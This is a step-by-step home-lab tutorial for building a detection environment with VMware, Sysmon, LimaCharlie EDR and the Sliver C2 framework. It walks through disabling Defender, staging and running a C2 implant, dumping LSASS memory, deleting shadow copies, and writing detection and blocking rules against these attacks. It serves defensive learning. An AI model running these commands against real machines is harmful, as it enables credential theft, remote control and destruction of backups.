End-to-End Cybersecurity Project: Setting Up a Secure Virtual Environment

Introduction

In today’s evolving digital landscape, cybersecurity is paramount. This guide will walk you through setting up a secure virtual environment for penetration testing, digital forensics, and threat detection. We will cover installing and configuring VMware Workstation Pro, deploying Windows and Linux virtual machines (VMs), and setting up cybersecurity tools such as LimaCharlie and Sysmon.

1. Setting Up Your Virtual Environment

1.1 Install VMware Workstation Pro

Due to VMware's recent acquisition by Broadcom, downloading and installing VMware Workstation Pro now requires a Broadcom account. Follow these steps:

1. Visit Broadcom’s website and create an account.

2. Navigate to VMware Workstation Pro’s download page.

3. Download and install the software.

4. Restart your system after installation.

1.2 Deploy a Free Windows VM from Microsoft

1. Download the pre-built Windows VM from Microsoft’s evaluation center.

2. Extract the downloaded files.

3. Open VMware Workstation Pro and import the VM by double-clicking the .ovf file.

4. Modify RAM allocation if necessary (recommended: at least 4GB).

5. Power on the VM and configure initial settings.

Note: Microsoft evaluation VMs have an expiration date, after which they stop working. You can always download a fresh copy when needed.

1.3 Install Ubuntu in a New VM

1. Download the Ubuntu Server 22.04.1 installer ISO.

2. Create a new VM in VMware Workstation and configure it with:

   • 14GB Disk size

   • 2 CPU cores

   • 2GB RAM

   • Use the downloaded ISO as the installer image.

3. Complete the Ubuntu installation using default options until you get to the Network connection section.

4. Set a static IP address , so that the address stays consistent throughout the lab:

   • Identify the gateway IP from VMware Workstation’s Virtual Network Editor.

   • Select NAT and then NAT Settings

   • Copy the Subnet and Gateway IP .

   • Once we have this we go back to our ubuntu installer.

   • 

     • Save and apply the settings.

5. Reboot the VM , log back in , run

   ping -c 2 google.com

   ping -c 2 google.com

   to ensure that the machine has connectivity.

2. Configuring the Windows VM

2.1 Disable Windows Defender

To prevent interference from Microsoft Defender, follow these steps:

1. Disable Tamper Protection via Settings > Privacy & Security > Windows Security.

2. Turn off Virus & Threat Protection.

3. Permanently Disable Defender via Group Policy Editor:

   • Run gpedit.msc and navigate to Windows Components > Microsoft Defender Antivirus.

   • Enable Turn off Microsoft Defender Antivirus.

4. Modify Registry settings to disable Defender permanently.
   This will prevent the windows system to automatically scan for malware and blocking them.
   Using admin command prompt :

   REG ADD "hklm\software\policies\microsoft\windows defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

   REG ADD "hklm\software\policies\microsoft\windows defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

5. Restart the VM into Safe Mode using
       Run window, enter msconfig and select the following options
   

6. This will restart the system in safe mode., then disable Defender services via regedit.
   
   For each of the following locations  we're required to change the start value of the key to 4

   1. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense

   2. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot

   3. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend

   4. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv

   5. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc

   6. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter

   

7. Exit Safe Mode using the same steps , run command, msconfig , untick Safe boot , click apply & then ok and confirm Defender is no longer active after restart.

2.2 Prevent Windows VM Sleep Mode

Run the following commands in an administrative Command Prompt:

powercfg /change standby-timeout-ac 0
powercfg /change monitor-timeout-ac 0
powercfg /change hibernate-timeout-ac 0

powercfg /change standby-timeout-ac 0
powercfg /change monitor-timeout-ac 0
powercfg /change hibernate-timeout-ac 0

2.3 Install Sysmon for Advanced Monitoring

Sysmon is a powerful cybersecurity tool used to monitor and log system activity for detecting malicious behavior, aiding in threat detection, incident response, and forensic investigations.
We would not used the sysmon tool directly in the project so it is mostly optional but it is still great for learning purpose.

1. Open an Administrative PowerShell window.

2. Download and install Sysmon:

   Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\Windows\Temp\Sysmon.zip
   

   Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\Windows\Temp\Sysmon.zip
   

3. Unzip Sysmon.zip

   Expand-Archive -LiteralPath C:\Windows\Temp\Sysmon.zip -DestinationPath C:\Windows\Temp\Sysmon

   Expand-Archive -LiteralPath C:\Windows\Temp\Sysmon.zip -DestinationPath C:\Windows\Temp\Sysmon

4. Download SwiftOnSecurity Sysmon config

   Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml -OutFile C:\Windows\Temp\Sysmon\sysmonconfig.xml

   Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml -OutFile C:\Windows\Temp\Sysmon\sysmonconfig.xml

5. Install Sysmon with swift's config

   C:\Windows\Temp\Sysmon\Sysmon64.exe -accepteula -i C:\Windows\Temp\Sysmon\sysmonconfig.xml

   C:\Windows\Temp\Sysmon\Sysmon64.exe -accepteula -i C:\Windows\Temp\Sysmon\sysmonconfig.xml

6. Verify installation:

   Get-Service sysmon64

   Get-Service sysmon64

7. Confirm that the Sysmon events are being logged

3. Configuring the Linux VM

3.1 Enable SSH Access

1. Install OpenSSH Server:

   sudo apt update && sudo apt install openssh-server -y

   sudo apt update && sudo apt install openssh-server -y

2. Check the service status:

   sudo systemctl status ssh

   sudo systemctl status ssh

3. Note down the static IP address for SSH access.

3.2 Install Sliver C2 Framework

1. Switch to root using

   sudo su

   sudo su

2. Run the following commands to download Sliver, a Command & Control (C2) framework by BishopFox. I recommend copy/pasting the entire block as there is line-wrapping occurring.:

   # Download Sliver Linux server binary
   wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux -O /usr/local/bin/sliver-server
   
   # Make it executable
   chmod +x /usr/local/bin/sliver-server
   
   # install mingw-w64 for additional capabilities
   apt install -y mingw-w64

   # Download Sliver Linux server binary
   wget https://github.com/BishopFox/sliver/releases/download/v1.5.34/sliver-server_linux -O /usr/local/bin/sliver-server
   
   # Make it executable
   chmod +x /usr/local/bin/sliver-server
   
   # install mingw-w64 for additional capabilities
   apt install -y mingw-w64

3. Create a working directory:

   mkdir -p /opt/sliver

   mkdir -p /opt/sliver

4. Setting Up LimaCharlie EDR

**4.1 Install LimaCharlie on Windows VM

**

It has a free tier for upto two systems which is sufficient for this specific lab

1. Create a free LimaCharlie account.

2. You will be required to create a organization when we log in ,

3. Add a new sensor for Windows VM - Lab.
   

4. Download the LimaCharlie agent:
   Using the admin Powershell
   cd C:\Users\User\Downloads

   Invoke-WebRequest -Uri 
   https://downloads.limacharlie.io/sensor/windows/64 -Outfile 
   C:\Users\User\Downloads\lc_sensor.exe

   Invoke-WebRequest -Uri 
   https://downloads.limacharlie.io/sensor/windows/64 -Outfile 
   C:\Users\User\Downloads\lc_sensor.exe

    

5. Open cmd prompt and copy the link as shown in step 4 of the previous image.

6. This is the expected output, ignore the “ERROR” that says “service installed!” Still waiting on those guys to fix that :)

   

   If you experience an error trying to install the EXE, try the x86-64 MSI option on the LimaCharlie installer dialog.

7. If everything has been configured correctly the following page should appear
   

4.2 Enable Sysmon Log Collection in LimaCharlie

Configuring LimaCharlie to Ship Sysmon Event Logs Alongside EDR Telemetry

1. Open Artifact Collection

   • In the left-side menu, click on Artifact Collection.

2. Add Rule

   • Next to Artifact Collection Rules, click Add Rule.

3. Configure Rule Settings

   • Name: windows-sysmon-logs
   • Platforms: Windows
   • Path Pattern: wel://Microsoft-Windows-Sysmon/Operational:*
   • Retention Period: 10

4. Save Rule

   • Click Save Rule. LimaCharlie will now start shipping Sysmon logs.

Why Include Sysmon Logs?

• Visibility: Sysmon provides additional EDR-like telemetry, which complements LimaCharlie’s own telemetry. While some of the data may overlap, Sysmon offers valuable insights that work well alongside any EDR agent.

• Sigma Rules: The built-in Sigma rules enabled in LimaCharlie are designed to work with Sysmon logs, as most of these rules were specifically written for them.

Next Steps:

• Windows VM: Now that Sysmon logs are being shipped, feel free to close all open windows on the Windows VM. We’ll be moving on to configuring the Linux VM shortly.

Pro Tip:

• Consider taking a snapshot of your Windows VM now in case issues arise later. You can revert to this clean snapshot to restore the system to its current state.

5. Testing and Monitoring

5.1 Validate Connectivity

1. From the Linux VM, test network connectivity:

   ping -c 2 google.com

   ping -c 2 google.com

2. Verify SSH access from the host:

   ssh user@[Linux_VM_IP]

   ssh user@[Linux_VM_IP]

5.2 Monitor LimaCharlie Dashboard

1. Explore the Sensors List.

2. Check Timeline, Processes, Network, and File System sections for real-time data.

5.3 Take a Snapshot

Before proceeding with further testing, take a VM snapshot to save your current configuration.

Step-by-Step Guide to Generating a C2 Payload with Sliver

Introduction

In the realm of cybersecurity, understanding how adversaries operate is essential for defenders. One crucial concept in red teaming and ethical hacking is Command and Control (C2). But how do attackers establish a C2 connection with a target machine? How can security professionals simulate these attacks to bolster defenses?

In this guide, we’ll walk through the process of generating a C2 payload using Sliver, a powerful open-source adversary emulation framework. By the end of this tutorial, you’ll have a functional C2 payload, deployed onto a Windows VM, and an active session controlled from a Linux VM.

Let's get started.

Setting Up Sliver and Generating the C2 Payload

1. Jump into an SSH Session on Your Linux VM

Before generating a payload, connect to your Linux VM where Sliver is installed. Open a terminal and start an SSH session:

ssh user@[Linux_VM_IP]

Now, elevate your privileges to root:

sudo su

Change the directory to the Sliver installation folder:

cd /opt/sliver

2. Launch the Sliver Server

Start the Sliver C2 framework by running:

sliver-server

Once the server is running, you will see the interactive Sliver shell.

3. Generate the C2 Payload

Now, let’s create a payload that will be used on the Windows VM. Execute the following command inside the Sliver shell:

 Remember that the Linux VM IP we have set to static

generate --http [Linux_VM_IP] --save /opt/sliver

generate --http [Linux_VM_IP] --save /opt/sliver

Pro Tip: The output file will have a randomized name. Take note of this filename as you will need it in later steps.

To confirm the generated implant configuration, run:

implants

Now, since we have the C2 ready in linux VM , we will go ahead and exit Silver for now within the linux VM

exit	

exit	

Transferring the Payload to the Windows VM

1. Exit Sliver and Start a Temporary Web Server

We need an easy way to transfer the payload from our Linux VM to our Windows VM.

We can use Python to set up a temporary web server in our Linux VM:

cd /opt/sliver

cd /opt/sliver

python3 -m http.server 80

python3 -m http.server 80

This command starts a temporary web server, making the files in /opt/sliver/ accessible over HTTP.

2. Download the Payload on the Windows VM

Now, switch to your Windows VM and open an Administrative PowerShell console. Use the following command to download the payload:

Please note that the name of the payload is the one that was generated in "Generate C2 Payload section"

IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile 
C:\Users\User\Downloads\[payload_name].exe

IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile 
C:\Users\User\Downloads\[payload_name].exe

Before executing the payload, take a snapshot of your Windows VM:

Snapshot Name: “Malware staged”

Starting the C2 Session

1. Start the Sliver HTTP Listener

Switch back to the Linux VM and terminate the Python web server (Ctrl + C). Relaunch the Sliver server:

sliver-server

Now, start an HTTP listener to catch the incoming connection:

http

If you encounter an error, try rebooting your Linux VM and retrying.

2. Execute the Payload on Windows VM

On your Windows VM, execute the C2 implant from the same Administrative PowerShell console:

C:\Users\User\Downloads\[payload_name].exe

or

C:\Users\User\Downloads\[your_C2-implant].exe

C:\Users\User\Downloads\[your_C2-implant].exe

3. Connection confirmation received in Linux VM

Within a few moments, you should see a new session appear in Sliver:

We can verify our session by using the following command:

sessions

If we want to use a specific session we have to execute the command

use [session_id]

use [session_id]

If everything was set up correctly, you now have a working C2 connection between your Linux VM and the Windows VM.

Interacting with the C2 Session

1. Connect to the Session

To interact with the active session, use the following command:

use [session_id]

2. Gather Information on the Compromised System

Once inside, start gathering intelligence about the target machine.

• Check system information:

  info

• Find out which user is running the implant:

  whoami

  whoami

  getprivs

  getprivs

   

  

• If your implant was properly run with Admin rights, you’ll notice we have a few privileges that make further attack activity much easier, such as “SeDebugPrivilege” — if you do not see these privileges, make sure you ran the implant from an Administrative command prompt.

• Identify the implant’s working directory:

  pwd

• Examine active network connections:

  netstat

  1. Notice that Sliver cleverly highlights its own process in green.

  2. rphcp.exe is the LimaCharlie EDR service executable

• Check for security products running on the system:

  ps -T

  

  Sliver conveniently highlights its own process in green and any detected security tools in red.

Observing EDR Telemetry and Analyzing Security Defenses

1. Monitor Events in LimaCharlie EDR

Open the LimaCharlie web UI and navigate to:

• Sensors → Active Windows Sensor → Processes

• It is crucial for the SOC analyst to be familiar with all the usual running processes before they're able to look for abnormalities.
  
  

  Please note one of the most basic way of figuring out if the process is valid is by checking if it has a valid signature {signed}
  

•  

  On the contrary if the process is not signed that might be raising a red flag

  In our example we can see our C2 implant shows at as not signed and is also active on the network
  

• **Network Activity
  
  **Now we will select the network tab from the left hand side menu.At this point we're also able to search for the implant name that would show up in the process section or we're also able to search for the C2 IP address.

• ****File System → Locate the C2 Implant

  ---

  C:\Users\User\Downloads

  **
  
  
  **

• **Scan the payload hash on VirusTotal
  
  **

Important: If VirusTotal does not recognize the payload, it doesn’t mean it’s safe—custom payloads often go undetected.

2. Examine the Attack Timeline

In LimaCharlie’s "Timeline" tab, look for:

• When the implant was first executed
• The network connections it established
  
• Any security events triggered by the payload

A skilled security analyst can use this data to create detection rules, improving defense mechanisms against real-world threats.

Detecting LSASS Dumping with Sliver C2 and LimaCharlie

Introduction

In this follow-up to our Sliver C2 guide, we’ll dive deeper into adversarial activities and focus on credential dumping. Specifically, we’ll attempt to extract credentials from LSASS (Local Security Authority Subsystem Service) memory and detect this malicious action using LimaCharlie’s EDR capabilities.

LSASS Dumping refers to the practice of extracting or "dumping" the memory contents of the Local Security Authority Subsystem Service (LSASS) process on a Windows system. This is often done by attackers to retrieve sensitive information, such as password hashes or plaintext credentials, from the LSASS process memory.

Why Is LSASS Dumping a Concern?

LSASS holds sensitive security information such as:

• User credentials (passwords or password hashes) that are in memory during user authentication.
• Kerberos tickets and other authentication tokens.
• Cached credentials used for offline authentication.

This can be carried out using MIMIKATZ

  Mimikatz is a popular post-exploitation tool that allows attackers to dump LSASS memory and retrieve password hashes, Kerberos tickets, and sometimes even clear-text passwords from the process memory.

Command example in Mimikatz:

sekurlsa::logonpasswords

Let’s get started!

Reconnecting to Your Sliver C2 Session

1. SSH into Your Linux VM

First, connect to your Linux VM where Sliver is running:

ssh user@[Linux_VM_IP]

ssh user@[Linux_VM_IP]

Elevate to root privileges:

sudo su

sudo su

Change the directory to the Sliver installation folder:

cd /opt/sliver

cd /opt/sliver

2. Restart Sliver and Reconnect to Your Target

Launch the Sliver server:

sliver-server

sliver-server

Check for active sessions:

sessions

sessions

If your session is inactive, restart your C2 implant on the Windows VM as described in Part 2.

Use the session ID to interact with the compromised system:

use [session_id]

use [session_id]

Privilege Escalation Check

Before proceeding, confirm that we have the necessary privileges to dump LSASS memory:

getprivs

getprivs

Look for SeDebugPrivilege in the output. If missing, restart your C2 implant with administrative rights.

**Dumping LSASS for Credential Theft

**

Credential dumping is a common attacker technique to extract login credentials from memory. Run the following command to dump lsass.exe:

procdump -n lsass.exe -s lsass.dmp

procdump -n lsass.exe -s lsass.dmp

This command:

A legitimate tool used to capture process memory.

• Dumps the LSASS process from memory.

• Saves it locally on your Sliver C2 server.

Note: If this fails due to RPC errors or other issues, it likely still generated telemetry. Proceed to detection steps.

Detecting the Attack with LimaCharlie

Since LSASS is a highly sensitive process, a good Endpoint Detection and Response (EDR) system should log any unauthorized access.

1. Access LimaCharlie’s Timeline View

1. Open LimaCharlie.

2. Navigate to Sensors → Select your Windows VM sensor.

3. Open the Timeline tab.

4. Use Event Type Filters to select SENSITIVE_PROCESS_ACCESS.

You’ll likely see multiple entries, but focus on events where lsass.exe is the target.

2. Create a Detection & Response (D&R) Rule

Detection Rule Configuration

Click on any SENSITIVE_PROCESS_ACCESS event and start building a detection rule.

Replace the whole Detect section with this rule::

event: SENSITIVE_PROCESS_ACCESS
op: ends with
path: event/*/TARGET/FILE_PATH
value: lsass.exe

event: SENSITIVE_PROCESS_ACCESS
op: ends with
path: event/*/TARGET/FILE_PATH
value: lsass.exe

• Detects SENSITIVE_PROCESS_ACCESS events.

• Matches cases where the target process is lsass.exe.

Note: This is a basic rule for educational purposes. In production, it would need tuning to reduce false positives.

Response Rule Configuration

Replace the whole Respond section with:

- action: report
  name: LSASS access

- action: report
  name: LSASS access

This action:

• Generates a report whenever LSASS is accessed.

• Can be expanded to terminate processes or trigger alerts.

3. Test and Enable the Rule

1. Click Target Event under the D&R rule.
   

2. Scroll down and click Test Event.
   
   This will test if our D & R rule would have worked against this event.

3. If the rule matches, click Save Rule.

4. Name the rule LSASS Accessed and ensure it is enabled.
   

Confirming Detection with a Second Attack

If the C2 session dies then we will have to relaunch the malware with the same steps.

Return to your Sliver C2 session and rerun the LSASS dump command:

procdump -n lsass.exe -s lsass.dmp

procdump -n lsass.exe -s lsass.dmp

After executing the attack, switch to LimaCharlie:

1. Open the “Detections” Tab

1. Go to Detections from the left-side menu.
   

2. If you’re still in a sensor context, click Back to Sensors.

3. You should see a detection labeled LSASS access.

4. Expand it to view raw event data.
   

2. View the Event Timeline

Click View Event Timeline to examine:

• Timestamp of the attack.

• Processes involved.

• Network connections made during the event.

Blocking Attacks: Proactively Stopping Threats Before They Unfold

In Part 3, we explored how to craft detection rules to catch threats as they unfold. But wouldn’t it be even better to stop them before they can do any harm? That’s what we’ll tackle in this guide—how to not just detect, but actively block cyber threats.

Why Blocking Attacks Matters

In cybersecurity, early detection is crucial, but blocking an attack in real time is the ultimate goal. Imagine receiving an alert about ransomware just moments before it encrypts your entire system—too late, right? Blocking rules prevent attacks from reaching that stage, minimizing damage before it can even begin.

However, before implementing a blocking rule, it is critical to baseline your environment to reduce false positives. Deploying a rule without testing could unintentionally block legitimate processes, disrupting business operations. A proper baseline involves:

• Running a detection-only rule for days or weeks

• Identifying and eliminating false positives

• Deploying a refined blocking version

With that said, let’s dive into a highly effective blocking rule: stopping Volume Shadow Copy deletion, a common ransomware tactic.

Understanding the Attack: Volume Shadow Copy Deletion

Volume Shadow Copies allow users to restore previous file versions, making them invaluable for ransomware recovery. Since attackers know this, they often attempt to delete these backups immediately upon infection.

A simple command to delete all shadow copies is:

vssadmin delete shadows /all

vssadmin delete shadows /all

This command is rarely used in healthy environments (except for some backup software). Because of its low false positive rate and high threat activity, it is an ideal candidate for a blocking rule.

Detecting the Threat

To test our detection capabilities, follow these steps:

1. Launch a C2 Session

• Get back onto an SSH session on your Linux VM.

• Drop into a Sliver C2 session on your victim machine.

2. Run the Malicious Command

In your Sliver C2 shell, execute:

shell

shell

When prompted “This action is bad OPSEC, are you an adult?”, type Y to confirm.

 
Then, run:

vssadmin delete shadows /all

vssadmin delete shadows /all

This generates the telemetry needed for detection.

3. Verify Shell Access

Ensure you still have an active system shell by running:

whoami

whoami

Now, head over to LimaCharlie’s detection tab and see if the default Sigma rules have flagged this event.

Creating a Detection & Response (D&R) Rule

1. View the Detection Event

• Expand the detection in LimaCharlie.

• Check the metadata and reference URLs for YARA signatures that provide additional command variations to detect.

2. Craft a Blocking Rule

Using the observed event, create a D&R rule with the following configuration:

Detection Rule:

- event: SENSITIVE_PROCESS_ACCESS
  op: ends with
  path: event/*/TARGET/FILE_PATH
  value: vssadmin.exe

- event: SENSITIVE_PROCESS_ACCESS
  op: ends with
  path: event/*/TARGET/FILE_PATH
  value: vssadmin.exe

This rule looks for any process attempting to access vssadmin.exe for deletion.

Response Rule:

- action: report
  name: vss_deletion_kill_it
- action: task
  command:
    - deny_tree
    - <<routing/parent>>

- action: report
  name: vss_deletion_kill_it
- action: task
  command:
    - deny_tree
    - <<routing/parent>>

• The report action logs the event for visibility.

• The deny_tree action terminates the parent process executing the malicious command.

3. Save and Enable the Rule

Name the rule vss_deletion_kill_it and enable it.

Testing the Blocking Rule

Return to your Sliver C2 session and rerun:

vssadmin delete shadows /all

vssadmin delete shadows /all

The command should execute, but the rule should immediately terminate the parent process. Verify by running:

whoami

whoami

If the rule worked, the system shell will hang or display “Shell Exited”, indicating the process was terminated.

Improving the Rule for Robust Detection

While our rule is effective, attackers can bypass it by modifying the command slightly (e.g., adding spaces). To counteract this, refine detection by looking for command patterns rather than exact matches:

- op: is
  path: event/FILE_PATH
  value: C:\Windows\system32\vssadmin.exe
- op: contains
  path: event/COMMAND_LINE
  value: 'delete'
- op: contains
  path: event/COMMAND_LINE
  value: 'shadows'
- op: contains
  path: event/COMMAND_LINE
  value: '/all'

- op: is
  path: event/FILE_PATH
  value: C:\Windows\system32\vssadmin.exe
- op: contains
  path: event/COMMAND_LINE
  value: 'delete'
- op: contains
  path: event/COMMAND_LINE
  value: 'shadows'
- op: contains
  path: event/COMMAND_LINE
  value: '/all'

Using contains operators ensures minor variations don’t evade detection.

Going Further: Simulating Ransomware

Want to stress-test your rule? Use Florian Roth’s ransomware simulator:

• Copies itself to WORD.exe

• Simulates macro execution (detectable by Sigma rules)

• Deletes Volume Shadow Copies (triggering our block rule!)

• Creates & encrypts 10,000 files

This allows you to evaluate whether your rule successfully prevents real ransomware behavior.

FALSE POSITIVE TUNING IN LIMACHARLIE

1. **Creating a Vague D & R rule Resulting in higher False Positive generation in the Telemetry:
   **i. We will first create a rule called "Suspicious svchost execution":
   
   
   
   ii. Now, since this is a legitimate process it will result in numerous false positives as shown below :
   
2. Naturally, the question arises what are we able to do to resolve this issue :
   
   i. First, can be improving the detection rule for the event. Instead of all the \svc.exe event execution we can filter out all the events that occur outside of the windows\System32 folder as we are aware all the legitimate svc events occur within that folder.
   ii. Secondly, We can work on the false positive , crafting a false positive rule. This will suppress certain events that satisfy a certain criteria.
   
   
3. In this case we would take the second route and attempt to fine tune the False Positive rule in order to minimize the probability of this occurring in the future.

Once we have made the necessary adjustments to the detected instance, the final rule will appear similar to :